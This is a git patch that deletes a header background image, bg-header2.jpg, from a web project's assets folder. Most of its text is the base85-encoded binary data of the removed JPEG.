z1Xz!W2{knnE&BzqzjT3hKoL#ALVrf%MLf==AK>MRVf^uas z(tsme$;^>W?-jR8S)QQ3nM-xAH#N{dDuF^z&5!;g?^Nf66r>H%I*np*1AoT}8*av} R*)ITT-WQGDK%M?A{x5bG(S-m2 From 89dc2e13aeceb117784954b25ed1290727795f5c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:16:01 +0200 Subject: [PATCH 0782/1701] Delete bg-header2.jpg --- assets/images/bg-header2.jpg | Bin 352275 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 assets/images/bg-header2.jpg diff --git a/assets/images/bg-header2.jpg b/assets/images/bg-header2.jpg deleted file mode 100644 index d3f344a48b838045556f6665cb4b0e156d8a6939..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 352275 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

rNc6KM4TqeN6R-HWIQ89jFn=PaxhnRMN<^fK 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 